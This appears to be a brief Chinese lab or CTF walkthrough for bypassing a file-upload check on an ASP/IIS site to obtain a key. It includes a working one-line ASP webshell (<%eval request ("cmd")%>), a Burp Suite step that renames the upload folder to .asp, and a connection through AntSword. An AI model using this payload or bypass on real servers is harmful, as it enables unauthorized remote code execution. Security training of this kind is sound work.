1.有上传文件的地方
2.上传一个大小为245kb的jpg文件
3.查询“ASP 0104 : 80004005”
4.上传.asp后缀的文件
5.编写一句话木马
<%eval request ("cmd")%>
文件名:xxx.txt或者xxx.jpg等等
6.打开burp suite
7.点击网页“确定”按钮
8.然后出现的界面
9.修改文件夹包含.asp(叫什么都行,1.asp或者upload/2.asp都可以)
10.点击“forward”
11.使用蚁剑添加数据
12.点击wwwroot,点击KTY… .asp,获得key